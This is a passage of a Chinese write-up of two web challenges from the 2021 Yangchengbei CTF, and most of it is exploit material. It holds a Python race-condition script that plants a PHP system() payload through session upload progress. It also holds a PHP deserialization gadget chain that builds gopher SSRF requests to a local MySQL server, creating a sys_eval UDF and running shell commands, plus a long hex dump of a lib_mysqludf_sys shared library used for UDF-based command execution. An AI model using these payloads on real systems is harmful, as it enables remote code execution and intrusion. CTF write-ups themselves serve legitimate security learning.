2021羊城杯WP（部分

Delina

原文链接：2021羊城杯WP（部分）
​
web1 only 4

1. def start_flag(s):
   
2. global stop_threads
   
3. while True:
   
4. if stop_threads:
   
5. break
   
6. f = io.BytesIO(b'a' * 1024 * 50)
   
7. url = 'http://192.168.41.134:8000/?
   
8. gwht=/var/lib/php5/sess_1&ycb=http://127.0.0.1'
   
9. headers = {'Cookie': 'PHPSESSID=1', }
   
10. data = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('cat
    
11. /flag');echo 'flag';?>"} # Payload
    
12. files = {"file": ('1.txt', f)}
    
13. rest = s.post(url, headers=headers, data=data, files=files)
    
14. if 'flag' in r.text:
    
15. print(rest.text)
    
16. exit()
    
17. if __name__ == '__main__':
    
18. with requests.session() as session:
    
19. while thread_num:
    
20. thre = threading.Thread(target=run, args=(s,))
    
21. thre.start()
    
22. thread_list.append(thre)
    
23. for t in thread_list:
    
24. t.join()

复制代码

EasyCurl

扫描得到文件 下载后发现sql

​

sql里有密码

​

访问admin.php 发送数据

1. <?php
   
2. class User{
   
3. function __construct()
   
4. {
   
5. $this->username = "admin";
   
6. }
   
7. }
   
8. $a = new User();
   
9. echo serialize($a);
   
10. # O:4:"User":1:{s:8:"username";s:5:"admin";}

复制代码

​
根据备份 挖掘链子

1. <?php
   
2. class file_request{
   
3. public function __construct()
   
4. {
   
5. // SELECT concat(schema_name) from information_schema.schemata
   
6. //gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00
   
7. %00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%
   
8. 6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6
   
9. f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d
   
10. %79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%
    
11. 65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%3
    
12. 8%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%43%00
    
13. %00%00%03%53%45%4c%45%43%54%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%73%63%
    
14. 68%65%6d%61%5f%6e%61%6d%65%29%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6
    
15. f%6e%5f%73%63%68%65%6d%61%2e%73%63%68%65%6d%61%74%61%3b%01%00%00%00%01
    
16. // O:4:"User":1:{s:8:"username";O:12:"cache_parser":3:
    
17. {s:4:"user";O:4:"User":2:
    
18. {s:8:"username";s:3:"asd";s:10:"session_id";s:3:"asd";}s:6:"logger";r:2;s:15
    
19. :"default_handler";O:12:"file_request":1:
    
20. {s:3:"url";s:820:"gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00
    
21. %01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
    
22. 72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%7
    
23. 2%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d
    
24. %65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%
    
25. 69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%6
    
26. 6%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d
    
27. %79%73%71%6c%59%00%00%00%03%53%45%4c%45%43%54%20%67%72%6f%75%70%5f%63%6f%6e%
    
28. 63%61%74%28%74%61%62%6c%65%5f%6e%61%6d%65%29%20%66%72%6f%6d%20%69%6e%66%6f%7
    
29. 2%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%77%68%65%72
    
30. %65%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%27%63%74%66%27%3b%01%00%00%00%
    
31. 01";}}}
    
32. // $this->url =
    
33. "gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%0
    
34. 0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00
    
35. %6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%
    
36. 6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6
    
37. d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76
    
38. %65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%
    
39. 38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%3e%0
    
40. 0%00%00%03%63%72%65%61%74%65%20%66%75%6e%63%74%69%6f%6e%20%73%79%73%5f%65%76
    
41. %61%6c%20%72%65%74%75%72%6e%73%20%73%74%72%69%6e%67%20%73%6f%6e%61%6d%65%20%
    
42. 27%6d%79%73%71%6c%75%64%66%2e%73%6f%27%3b%01%00%00%00%01"
    
43. // $this->url =
    
44. "gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%0
    
45. 0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00
    
46. %6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%
    
47. 6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6
    
48. d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76
    
49. %65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%
    
50. 38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%23%0
    
51. 0%00%00%03%73%65%6c%65%63%74%20%73%79%73%5f%65%76%61%6c%28%22%6c%73%20%2d%6c
    
52. %20%2f%3b%63%61%74%20%2f%2a%22%29%3b%01%00%00%00%01";
    
53. // $this->url =
    
54. "gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%0
    
55. 0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00
    
56. %6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%
    
57. 6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6
    
58. d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76
    
59. %65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%
    
60. 38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%1c%0
    
61. 0%00%00%03%73%65%6c%65%63%74%20%73%79%73%5f%65%76%61%6c%28%22%6c%73%20%2d%6c
    
62. %20%2f%22%29%3b%01%00%00%00%01"
    
63. $this->url =
    
64. "gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%0
    
65. 0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00
    
66. %6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%
    
67. 6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6
    
68. d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76
    
69. %65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%
    
70. 38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%1e%0
    
71. 0%00%00%03%73%65%6c%65%63%74%20%73%79%73%5f%65%76%61%6c%28%22%2f%72%65%61%64
    
72. %66%6c%61%67%22%29%3b%01%00%00%00%01";
    
73. }
    
74. }
    
75. class cache_parser{
    
76. function __construct(){
    
77. $this->user = new User(1);
    
78. $this->user->username = "asd";
    
79. $this->user->session_id = "asd";
    
80. $this->logger = &$this;
    
81. $this->default_handler = new file_request();
    
82. // $this->default_handler = "phpinfo"; // execute
    
83. }
    
84. }
    
85. class User{
    
86. function __construct($a)
    
87. {
    
88. if ($a==1){
    
89. }else{
    
90. $this->username = new cache_parser();
    
91. }
    
92. }
    
93. }
    
94. $exp = new User(2);
    
95. echo serialize($exp);

复制代码

mysql是空 密码 ssrf打一下

​

读取数据库无果
​
试了一下mysql扩展

1. catmysqludf.txt
   
2. show variables like '%plugin%';
   
3. select
   
4. unhex('7F454C4602010100000000000000000003003E0001000000800A00000000000040000
   
5. 0000000000058180000000000000000000040003800060040001C00190001000000050000000
   
6. 00000000000000000000000000000000000000000000000C414000000000000C414000000000
   
7. 00000002000000000000100000006000000C814000000000000C814200000000000C81420000
   
8. 00000004802000000000000580200000000000000002000000000000200000006000000F8140
   
9. 00000000000F814200000000000F814200000000000800100000000000080010000000000000
   
10. 8000000000000000400000004000000900100000000000090010000000000009001000000000
    
11. 00024000000000000002400000000000000040000000000000050E5746404000000441200000
    
12. 0000000441200000000000044120000000000008400000000000000840000000000000004000
    
13. 0000000000051E57464060000000000000000000000000000000000000000000000000000000
    
14. 00000000000000000000000000000000800000000000000040000001400000003000000474E5
    
15. 500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000
    
16. 700000080080248811944C91CA44003980468831100000013000000140000001600000017000
    
17. 000190000001C0000001E000000000000001F000000000000002000000021000000220000002
    
18. 30000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868B
    
19. E12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3
    
20. B9FD4A0AD73D1C50B5911FEAB5FBE12000000000000000000000000000000000000000000000
    
21. 0000000000000000000030009008809000000000000000000000000000001000000200000000
    
22. 0000000000000000000000000000000250000002000000000000000000000000000000000000
    
23. 000CD00000012000000000000000000000000000000000000001E01000012000000000000000
    
24. 00000000000000000000000620100001200000000000000000000000000000000000000E3000
    
25. 0001200000000000000000000000000000000000000B90000001200000000000000000000000
    
26. 0000000000000006801000012000000000000000000000000000000000000001600000022000
    
27. 0000000000000000000000000000000000054000000120000000000000000000000000000000
    
28. 0000000F00000001200000000000000000000000000000000000000B20000001200000000000
    
29. 0000000000000000000000000005A01000012000000000000000000000000000000000000005
    
30. 201000012000000000000000000000000000000000000004C010000120000000000000000000
    
31. 0000000000000000000E800000012000B00D10D000000000000D100000000000000330100001
    
32. 2000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000
    
33. 000000000007800000012000B009F0B0000000000004C00000000000000FF000000120009008
    
34. 8090000000000000000000000000000800100001000F1FF10172000000000000000000000000
    
35. 0001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000
    
36. 000000000000000000000009B00000012000B00480C0000000000000A0000000000000025010
    
37. 00012000B00420F0000000000006700000000000000AA00000012000B00520C0000000000006
    
38. 3000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000
    
39. B00EB0B0000000000005D00000000000000790100001000F1FF1017200000000000000000000
    
40. 00000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C0
    
41. 00000000000F100000000000000F700000012000B00A20E00000000000067000000000000003
    
42. 900000012000B004C0B0000000000004900000000000000D400000012000B00A60D000000000
    
43. 0002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676
    
44. D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F526
    
45. 5676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696
    
46. E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E697
    
47. 4006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E697400737
    
48. 9735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E0073797
    
49. 35F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007
    
50. 379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6
    
51. 465696E6974007379735F657865630073797374656D007379735F6576616C5F696E697400737
    
52. 9735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007
    
53. 374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005
    
54. F5F6273735F7374617274005F656E6400474C4942435F322E322E35000000000000000000000
    
55. 2000200020002000200020002000200020002000200020002000100010001000100010001000
    
56. 1000100010001000100010001000100010001000100010001000100010001006F01000010000
    
57. 00000000000751A6909000002009101000000000000F0142000000000000800000000000000F
    
58. 0142000000000007816200000000000060000000200000000000000000000008016200000000
    
59. 000060000000300000000000000000000008816200000000000060000000A000000000000000
    
60. 0000000A81620000000000007000000040000000000000000000000B01620000000000007000
    
61. 000050000000000000000000000B81620000000000007000000060000000000000000000000C
    
62. 01620000000000007000000070000000000000000000000C8162000000000000700000008000
    
63. 0000000000000000000D01620000000000007000000090000000000000000000000D81620000
    
64. 0000000070000000A0000000000000000000000E016200000000000070000000B00000000000
    
65. 00000000000E816200000000000070000000C0000000000000000000000F0162000000000000
    
66. 70000000D0000000000000000000000F816200000000000070000000E0000000000000000000
    
67. 0000017200000000000070000000F00000000000000000000000817200000000000070000001
    
68. 000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F
    
69. 20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C200068010
    
70. 00000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFF
    
71. FFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C2
    
72. 0006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C2000680800000
    
73. 0E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFF
    
74. F259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B0
    
75. 5ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415
    
76. 453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2
    
77. 000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0
    
78. C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F840000000
    
79. 00048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00
    
80. F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C074214
    
81. 88D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB
    
82. 645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE
    
83. 04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B4
    
84. 5E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F
    
85. 08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0
    
86. D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897
    
87. DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B4
    
88. 5E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488
    
89. B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF
    
90. 8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889C
    
91. E4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040
    
92. 000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B4008488
    
93. 3C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D040
    
94. 24883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488
    
95. D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C
    
96. 9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E
    
97. 811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B401
    
98. 0488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B1
    
99. 0488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B004
    
100. 80345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488
     
101. B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4
     
102. DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE84
     
103. 88975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C
     
104. 1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4
     
105. 889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488
     
106. 975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54
     
107. 883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E04
     
108. 88B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8B
     
109. A2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E5488
     
110. 1EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8F
     
111. BFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D
     
112. 0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFF
     
113. F4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80
     
114. CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C
     
115. 64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F
     
116. 9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8F
     
117. BFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B8
     
118. 5C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909
     
119. 090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08F
     
120. FD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F2
     
121. 0617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7
     
122. 379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696
     
123. F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207
     
124. 479706520706172616D6574657200000000000045787065637465642065786163746C7920747
     
125. 76F20617267756D656E74730000457870656374656420737472696E67207479706520666F722
     
126. 06E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6
     
127. F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFD
     
128. C000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBF
     
129. FFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000F
     
130. EFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A520001781
     
131. 0011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C0
     
132. 70800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C000
     
133. 0005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A
     
134. 3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A000
     
135. 00000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108
     
136. 602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602E
     
137. C0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001
     
138. C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C010
     
139. 0009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0
     
140. A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410
     
141. E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0
     
142. 602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C0708000
     
143. 0001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C070800000000000
     
144. 0000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF000000000000000000000
     
145. 00000000000F01420000000000001000000000000006F010000000000000C000000000000008
     
146. 8090000000000000D000000000000004811000000000000F5FEFF6F00000000B801000000000
     
147. 0000500000000000000E805000000000000060000000000000070020000000000000A0000000
     
148. 00000009D010000000000000B000000000000001800000000000000030000000000000090162
     
149. 0000000000002000000000000003801000000000000140000000000000007000000000000001
     
150. 70000000000000050080000000000000700000000000000F0070000000000000800000000000
     
151. 000600000000000000009000000000000001800000000000000FEFFFF6F00000000D00700000
     
152. 0000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFF
     
153. F6F0000000001000000000000000000000000000000000000000000000000000000000000000
     
154. 0000000000000000000000000000000000000000000000000000000000000000000000000000
     
155. 0000000000000000000000000000000000000000000000000000000000000000000000000000
     
156. 0000000F81420000000000000000000000000000000000000000000B609000000000000C6090
     
157. 00000000000D609000000000000E609000000000000F609000000000000060A0000000000001
     
158. 60A000000000000260A000000000000360A000000000000460A000000000000560A000000000
     
159. 000660A000000000000760A0000000000004743433A2028474E552920342E342E37203230313
     
160. 23033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342
     
161. E3720323031323033313320285265642048617420342E342E372D31372900002E73796D74616
     
162. 2002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D69640
     
163. 02E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6
     
164. E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E6
     
165. 96E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F6864720
     
166. 02E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656
     
167. C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D6
     
168. 56E7400000000000000000000000000000000000000000000000000000000000000000000000
     
169. 000000000000000000000000000000000000000000000000000000000001B000000070000000
     
170. 2000000000000009001000000000000900100000000000024000000000000000000000000000
     
171. 000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B80100000
     
172. 0000000B801000000000000B4000000000000000300000000000000080000000000000000000
     
173. 00000000000380000000B0000000200000000000000700200000000000070020000000000007
     
174. 8030000000000000400000002000000080000000000000018000000000000004000000003000
     
175. 0000200000000000000E805000000000000E8050000000000009D01000000000000000000000
     
176. 00000000100000000000000000000000000000048000000FFFFFF6F020000000000000086070
     
177. 0000000000086070000000000004A00000000000000030000000000000002000000000000000
     
178. 20000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000
     
179. 0002000000000000000040000000100000008000000000000000000000000000000640000000
     
180. 40000000200000000000000F007000000000000F007000000000000600000000000000003000
     
181. 00000000000080000000000000018000000000000006E0000000400000002000000000000005
     
182. 00800000000000050080000000000003801000000000000030000000A0000000800000000000
     
183. 0001800000000000000780000000100000006000000000000008809000000000000880900000
     
184. 0000000180000000000000000000000000000000400000000000000000000000000000073000
     
185. 000010000000600000000000000A009000000000000A009000000000000E0000000000000000
     
186. 000000000000000040000000000000010000000000000007E000000010000000600000000000
     
187. 000800A000000000000800A000000000000C8060000000000000000000000000000100000000
     
188. 0000000000000000000000084000000010000000600000000000000481100000000000048110
     
189. 000000000000E000000000000000000000000000000040000000000000000000000000000008
     
190. A00000001000000020000000000000058110000000000005811000000000000EC00000000000
     
191. 0000000000000000000080000000000000000000000000000009200000001000000020000000
     
192. 0000000441200000000000044120000000000008400000000000000000000000000000004000
     
193. 000000000000000000000000000A0000000010000000200000000000000C812000000000000C
     
194. 812000000000000FC01000000000000000000000000000008000000000000000000000000000
     
195. 000AA000000010000000300000000000000C814200000000000C814000000000000100000000
     
196. 0000000000000000000000008000000000000000000000000000000B10000000100000003000
     
197. 00000000000D814200000000000D814000000000000100000000000000000000000000000000
     
198. 8000000000000000000000000000000B8000000010000000300000000000000E814200000000
     
199. 000E814000000000000080000000000000000000000000000000800000000000000000000000
     
200. 0000000BD000000010000000300000000000000F014200000000000F01400000000000008000
     
201. 00000000000000000000000000008000000000000000000000000000000CA000000060000000
     
202. 300000000000000F814200000000000F81400000000000080010000000000000400000000000
     
203. 00008000000000000001000000000000000D3000000010000000300000000000000781620000
     
204. 0000000781600000000000018000000000000000000000000000000080000000000000008000
     
205. 00000000000D8000000010000000300000000000000901620000000000090160000000000008
     
206. 000000000000000000000000000000008000000000000000800000000000000E100000008000
     
207. 0000300000000000000101720000000000010170000000000001000000000000000000000000
     
208. 000000008000000000000000000000000000000E600000001000000300000000000000000000
     
209. 0000000000010170000000000005900000000000000000000000000000001000000000000000
     
210. 1000000000000001100000003000000000000000000000000000000000000006917000000000
     
211. 000EF00000000000000000000000000000001000000000000000000000000000000010000000
     
212. 200000000000000000000000000000000000000581F00000000000068070000000000001B000
     
213. 0002C00000008000000000000001800000000000000090000000300000000000000000000000
     
214. 000000000000000C026000000000000420300000000000000000000000000000100000000000
     
215. 0000000000000000000000000000000000000000000000000000000000000000000000000000
     
216. 3000100900100000000000000000000000000000000000003000200B80100000000000000000
     
217. 000000000000000000003000300700200000000000000000000000000000000000003000400E
     
218. 8050000000000000000000000000000000000000300050086070000000000000000000000000
     
219. 0000000000003000600D00700000000000000000000000000000000000003000700F00700000
     
220. 0000000000000000000000000000000030008005008000000000000000000000000000000000
     
221. 00003000900880900000000000000000000000000000000000003000A00A0090000000000000
     
222. 0000000000000000000000003000B00800A00000000000000000000000000000000000003000
     
223. C00481100000000000000000000000000000000000003000D005811000000000000000000000
     
224. 00000000000000003000E00441200000000000000000000000000000000000003000F00C8120
     
225. 0000000000000000000000000000000000003001000C81420000000000000000000000000000
     
226. 000000003001100D81420000000000000000000000000000000000003001200E814200000000
     
227. 00000000000000000000000000003001300F0142000000000000000000000000000000000000
     
228. 3001400F81420000000000000000000000000000000000003001500781620000000000000000
     
229. 0000000000000000000030016009016200000000000000000000000000000000000030017001
     
230. 0172000000000000000000000000000000000000300180000000000000000000000000000000
     
231. 0000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000
     
232. 000000000000000000000001C00000001001000C81420000000000000000000000000002A000
     
233. 00001001100D81420000000000000000000000000003800000001001200E8142000000000000
     
234. 0000000000000004500000002000B00A00A00000000000000000000000000005B00000001001
     
235. 700101720000000000001000000000000006A000000010017001817200000000000080000000
     
236. 00000007800000002000B00200B0000000000000000000000000000110000000400F1FF00000
     
237. 0000000000000000000000000008400000001001000D01420000000000000000000000000009
     
238. 100000001000F00C01400000000000000000000000000009F00000001001200E814200000000
     
239. 0000000000000000000AB00000002000B0010110000000000000000000000000000C10000000
     
240. 400F1FF00000000000000000000000000000000D40000000100F1FF901620000000000000000
     
241. 00000000000EA00000001001300F0142000000000000000000000000000F700000001001100E
     
242. 0142000000000000000000000000000040100000100F1FFF8142000000000000000000000000
     
243. 0000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F00000
     
244. 00000002F000000000000001E01000020000000000000000000000000000000000000002D010
     
245. 00020000000000000000000000000000000000000004101000012000C0048110000000000000
     
246. 0000000000000004701000012000B00A90F0000000000000A000000000000005701000012000
     
247. 000000000000000000000000000000000006B010000120000000000000000000000000000000
     
248. 00000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0
     
249. 000000000005501000000000000960100001200000000000000000000000000000000000000A
     
250. 901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000
     
251. 000F100000000000000D30100001200000000000000000000000000000000000000E50100001
     
252. 200000000000000000000000000000000000000F901000012000000000000000000000000000
     
253. 000000000000D02000012000B004C0B000000000000490000000000000028020000220000000
     
254. 00000000000000000000000000000004402000012000B00A60D0000000000002B00000000000
     
255. 0005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C00000
     
256. 00000000A000000000000006F020000120000000000000000000000000000000000000083020
     
257. 00012000B00420F0000000000006700000000000000910200001200000000000000000000000
     
258. 000000000000000A50200001200000000000000000000000000000000000000B902000012000
     
259. B00520C0000000000006300000000000000C10200001000F1FF1017200000000000000000000
     
260. 0000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172
     
